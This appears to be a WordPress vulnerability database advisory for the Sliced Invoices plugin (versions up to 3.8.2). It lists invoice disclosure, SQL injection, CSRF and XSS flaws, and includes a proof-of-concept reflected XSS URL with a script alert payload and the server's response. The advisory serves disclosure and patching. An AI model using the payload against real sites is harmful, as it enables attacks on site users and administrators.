Sliced Invoices <= 3.8.2 - Multiple Vulnerabilities



Description
- Unauthenticated information disclosure, allowing attackers to access arbitrary invoices and quotes containing PII
- Authenticated SQL injection and information disclosure
- Additional issues, such as lack of CSRF and Authorisation checks on AJAX methods used to search invoices.

- Authenticated Reflected XSS

v3.8.4 also added various sanitisation
Proof of Concept
# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authentificated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
1. Description:  
 
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.

2. Proof of Concept: 
 
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E
- The response will contain:
```
<body id="error-page">
	<p>Creation failed, could not find original invoice or quote: <script>alert(1)</script></p></body>
</html>
```

Affects Plugin

fixed in version 3.8.4

References

URL https://blog.nintechnet.com/multiple-vulnerabilities-in-sliced-invoices-plugin/
URL https://nitesculucian.github.io/2019/10/22/sliced-invoices-3-8-2-authentificated-reflected-xss-vulnerability/

Classification

Type MULTI

Miscellaneous

Original Researcher Jerome Bruandet (NinTechNet.com)
Views 2859
Verified No
WPVDB ID 9920

Timeline

Publicly Published 2019-10-17 (about 1 month ago)
Added 2019-10-17 (about 1 month ago)
Last Updated 2019-10-23 (27 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin